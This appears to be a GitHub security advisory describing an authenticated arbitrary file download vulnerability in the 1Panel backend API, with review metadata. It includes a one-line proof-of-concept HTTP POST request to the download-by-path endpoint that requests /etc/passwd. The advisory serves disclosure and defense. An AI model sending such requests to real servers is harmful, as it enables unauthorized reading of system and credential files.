Any file downloading vulnerability exists in 1Panel backend.
Authenticated attackers can download arbitrary files through the API interface. This code has unauthorized access.
payload:
POST /api/v1/files/download/bypath HTTP/1.1 Host: ip Content-Type: application/json
{"path":"/etc/passwd"}
Attackers can freely download the file content on the target system. This will be caused a large amount of information leakage.
{ "github_reviewed_at": "2023-08-10T20:09:24Z", "cwe_ids": [ "CWE-863" ], "nvd_published_at": "2023-08-10T18:15:11Z", "severity": "MODERATE", "github_reviewed": true }